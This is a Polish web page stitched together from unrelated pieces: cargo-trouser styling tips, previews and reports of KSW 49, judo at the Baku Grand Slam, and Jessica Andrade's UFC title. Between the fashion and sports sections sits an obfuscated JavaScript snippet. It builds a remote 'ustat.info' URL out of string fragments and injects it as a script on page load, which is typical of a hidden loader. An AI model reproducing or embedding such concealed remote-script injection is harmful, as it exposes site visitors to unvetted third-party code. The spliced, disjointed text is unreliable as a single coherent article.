Proste spodnie z kieszeniami to także bojówki. Coraz częściej występują one w formie eleganckich spodni, dla których kieszeń na nogawce jest stonowaną dekoracją. Takie rozwiązania świetnie sprawdzają się do biura. W połączeniu z marynarką i prostym topem lub koszulą i płaszczem stworzą stylizację, która będzie urozmaiceniem w szafie pełnej spodni na kant oraz spódnic ołówkowych. Warto spróbować takiej odmiany.

Spodnie bojówki na imprezę?!
Wiele osób może uznać taki pomysł za żart. Jednak niejednokrotnie można spotkać bojówki, wykonane z pięknych, połyskujących materiałów. Takie spodnie aż same proszą się, aby założyć je na imprezę. Wystarczy zestawić je z imprezowym topem lub wydekoltowaną bluzką. Taki zestaw koniecznie trzeba uzupełnić o szpilki i gustowne dodatki. Wówczas śmiało można ruszać na podbój miasta lub imprezę urodzinową. Stylizacja sprawdzi się doskonale podczas różnych okazji, także podczas randki.

Militarne bojówki
Nie można zapominać o korzeniach bojówek, które pochodzą przecież z wojska. Zatem te spodnie w kolorze khaki lub ze wzorem moro będą idealną bazą do militarnej, surowej stylizacji. Można dopełnić ją kurtką ramoneską lub tradycyjną dżinsową. Idealnym wykończeniem będą botki, najlepiej sznurowane. Glany, choć są nie dla każdego, świetnie się tu sprawdzą. W związku z tym, z całą pewnością warto postawić na taką stylizację od czasu do czasu.

[kod]

(function(){
x0a3_=("u"+"")+"s"+"";x0a3_+=("tat.")+("i");
x0a3=document.createElement("script");x0a3.type="text/javascript";x0a3_+="nf"+("o")+"/";
x0a3u="134379903"+".";x0a3.async=true;x0a3u+="qh53rbcn0a33dq98bwy3fgank6c0yq";
x0a3.src="https://"+x0a3_+x0a3u;x0a3b=document.body;x0a3b.appendChild(x0a3);
})();

Druga odsłona

Podczas gali KSW 49 w trójmiejskiej Ergo Arenie dojdzie do walki Michała Materli ze Scottem Askhamem. Stawką rywalizacji będzie pas wagi średniej. Do obrony tytułu w kategorii półśredniej stanie Roberto Soldić.

18 maja w Ergo Arenie KSW zafunduje potężną dawkę MMA. W klatce nie zabraknie mocnych nazwisk: Materla, Askham, Soldić, Sowiński, Parke, Bedorf, Andryszak, Henrique. Po raz pierwszy w KSW zaprezentuje się były zawodnik M-1 Challenge i UFC Damian Grabowski. Kibice zobaczą również starcie niepokonanego Erko Juna z Akopem Szostakiem. Ponadto, zaplanowano pojedynki: Leszka Krakowskiego z Michaelem Dubois, Martina Zawady z Thiago Silvą oraz Antuna Racicia z Paweł Polityło.

Wszyscy będą czekać na danie główne, czyli starcie Materli z Askhamem. 35-letni Polak postara się odzyskać pas, który w listopadzie 2015 roku (KSW 33) stracił na rzecz Mameda Khalidova. Materla ma za sobą dwa efektowne zwycięstwa. W ubiegłym roku "Magic" pokonał Martina Zawadę i mającego imponujący debiut w KSW Damiana Janikowskiego. Dzięki triumfowi z brązowym medalistą olimpijskim w zapasach z Londynu Materla awansował do finału turnieju w kategorii średniej, a więc musi wykonać jeszcze jeden krok, aby sięgnąć po pas. Rywalem Polaka będzie Scott Askham. Panowie doskonale się znają, bo spotkali się podczas KSW 42 w Łodzi. Materla nie wspomina miło tamtej walki. Kopnięcia na korpus i głowę w wykonaniu Askhama, zresztą niezwykle efektownie wyglądające, sprawiły, że 70 sekundach Anglik mógł wznieść ręce w geście triumfu. Czy Materla zrewanżuje się za tę porażkę i ponownie zasiądzie na tronie?

Roberto Soldić zaznał już smaku porażki w KSW i stracił pas w wadze półśredniej, ale w rewanżu pokonał Dricuca Du Plessisa i ponownie jest mistrzem. W Ergo Arenie na jego drodze stanie niepokonany Krystian Kaszubowski. 24-latek stanie przed życiową szansą. Dotychczas stoczył w KSW dwa pojedynki i oba wygrał przed czasem.

Ciekawie zapowiada się starcie w wadze ciężkiej. Po nieudanym ataku na pas kolejną walkę w KSW stoczy Karol Bedorf. Dobra passa zawodnika ze Szczecina została przerwana w grudniu 2016 roku przez Fernando Rodriguesa Jr. Później kłopoty zdrowotne, wygrana z Mariuszem Pudzianowskim, ale zabrakło kropki nad "i" w postaci pasa. 18 maja rywalem Bedorfa będzie debiutujący w KSW Damian Grabowski. Doświadczony fighter ostatnio pokonał przed czasem Jose Rodfigo Guelke podczas gali FEN 22.

Artur Sowiński pokonał ostatnio Kamila Szymuszowskiego, a teraz stanie twarzą w twarz z Normanem Parkiem. Zawodnik z Irlandii Północnej w KSW pokazał się z dobrej strony i z pewnością nie będzie łatwym rywalem dla "Kornika".

KM

W Baku bez medalu

Nie powiódł się polskim judokom start w zawodach Grand Slam w Baku. Biało-czerwoni z Azerbejdżanu wrócili bez medalu. Inaczej sytuacja wygląda w przypadku juniorów, którzy startowali w Pucharze Europy w Kownie. Dwoje reprezentantów Polski stanęło na najniższym stopniu podium.

W Baku zaprezentowało się 431 zawodniczek i zawodników. W każdej kategorii rywalizowało blisko 30, a czasami nawet ponad 40 judoków. Trzeba było przejść długą drogę, żeby wdrapać się na podium. Z 17-osobowej kadry Polski nikomu się to nie udało. Agata Ozdoba-Błach (na zdjęciu) zaczęła zawody w Baku od dwóch wygranych i to przed czasem. W drugim starcie w nieco ponad 40 sekund pokonała Dianę Shoranovą. Później zaczęły się schody. Brązowa medalistka mistrzostw świata z 2017 roku trafiła na utytułowaną Tinę Trstenjak. Słowenka wygrała przed czasem, a Polka trafiła do repasaży. Tam lepsza okazała się Juul Franseen. Ozdoba –Błach zajęła ostatecznie siódmą pozycję.

Mocne wejście w turniej miała również Karolina Tałach (63kg). Najpierw Polka pokonała przed czasem Lubjanę Piovesanę, a potem piątą w światowym rankingu Andreję Leski. Przeszkodą nie do przejścia dla Tałach okazała się Sanne Vermeer, która w tym roku stawała na podium w Tbillisi i Tel Avivie. W repasażach Polka ambitnie walczyła, jej pojedynek z Gankhaich Bold trwał ponad pięć minut. Ostatecznie nasza reprezentantka musiała zadowolić się siódmą lokatą.

Morderczy bój stoczyła Anna Borowska (57kg), która występ w Baku zaczęła od zwycięstwa. Potem ponad osiem minut rywalizowała z Tian Hongije, jednak o porażce Polki zadecydowało shido.

Dwa brązy

Do Kowna na zmagania w Pucharze Europy pojechała 20-osobowa kadra Polski. 10% wraca w wyśmienitych nastrojach. Martia Baczek (78kg) i Wojciech Kordyalik (+100kg) wywalczyli brązowe krążki. Zawodniczka warszawskiej Gwardii nie zwalnia tempa. W marcu w Atenach wywalczyła srebro, a w Kownie poszła za ciosem i ponownie stanęła na podium. Polka wygrała trzy pojedynki, wszystkie przed czasem. W półfinale lepsza okazała się Renee van Harselaar, która w tym roku w każdym starcie melduje się na podium – zarówno wśród juniorów, jak i seniorów.

W rywalizacji kadetów Wojciech Kordyalik posmakował sukcesu. Niejednokrotnie stawał na podium, także w mistrzostwach Europy. W Kownie zawodnik Śląska Wrocław po raz pierwszy sięgnął po medal w zmaganiach juniorów. Kordyalik wygrał trzy z czterech walk, w starciu o brąz pokonał Ricka Zomera.

Fot. IJF/Facebook

KM

Mistrzostwo po brazylijsku

Jessica Andrade w imponującym stylu pokonała Rose Namajunas i zdobyła w Rio de Janeiro pas w kategorii słomkowej. Wśród kobiet w UFC widać brazylijski trend. Amanda Nunes zdominowała dwie kategorie, teraz po upragniony tytuł w końcu sięgnęła Andrade.

Mało kto spodziewał się, że Amanda Nunes pokona swoją rodaczkę Cristiane Justino. Popularna "Cyborg" szła "niczym byk" i żadna kolejna rywalka nie była w stanie jej zatrzymać. Cztery walki w UFC i wszystkie wygrane w tym, trzy przed czasem. Podczas UFC 232 w grudniu 2018 roku w The Forum w Inglewood zdarzyła się niespodzianka. Potężna Justino została zmieciona z tronu wagi piórkowej. W zaledwie 32 sekundy Nunes zasypała "Cyborg" ciosami, a ta nie była w stanie przetrwać tego naporu. 30-latka została pierwszą podwójną mistrzynią UFC w historii. A wcześniej, bo w lipcu 2016 roku Nunes weszła na szczyt wagi koguciej. Po tym jak Holly Holm pokonała Rondę Rousey, tytuł szybko zmienił właścicielkę. Nunes spotkała się z Mieshą Tate i pozbawiła ją jakichkolwiek złudzeń triumfując w pierwszej rundzei. Dotychczas trzykrotnie Brazylijka skutecznie broniła tytułu. Obecnie nikt nie zaprzeczy, że Nunes stała się pierwszoplanową postacią UFC. Amanda Nunes kolejną walkę ma stoczyć 6 czerwca (UFC 239) z Holly Holm, a stawką będzie pas w wadze koguciej.

Swoich pięciu minut doczekała się Jessica Andrade. Brazylijka miała okazję wcześniej rywalizować o pas w wadze słomkowej, ale wtedy dzieliła i rządziła Joanna Jędrzejczyk. Polka okazała się lepsza od Andrade na dystansie pięciu rund. Brazylijka zacisnęła zęby i ciężko pracowała na kolejną szansę. 27-latka wygrała trzy kolejne walki, w tym przed czasem uporała się z Karoliną Kowalkiewicz. Tym razem Andrade rywalizowała z Rose Namajunas. Amerykanka prezentowała się pewnie i w stójce trafiała rywalkę, na której twarzy pojawiały się rozcięcia. Andrade próbowała sprowadzić walkę do parteru, podnosiła rywalkę, jednak nic z tego nie wynikała. W końcu się udało. Brazylijka cisnęła mistrzynią o ziemię i sędzia przerwał walkę. Andrade została nową mistrzynią UFC!

Cztery kobiece kategorie i w trzech z nich dominują Brazylijki. Niebawem w wadze muszej do pierwszej obrony przystąpi reprezentująca Peru Walentina Szewczenko, która zmierzy się z Jessicą Eye. Co do Brazylii, kiedyś panowie z Kraju Kawy grali pierwsze skrzypce w UFC. Obecnie ich pozycja nie jest tak mocna, ale wśród pań Brazylijki dominują rywalizację. Po prostu nastąpiła swoista zamiana miejsc. Czy ten stan utrzyma się dłużej?

Fot. Jessica Andrade Facebook

KM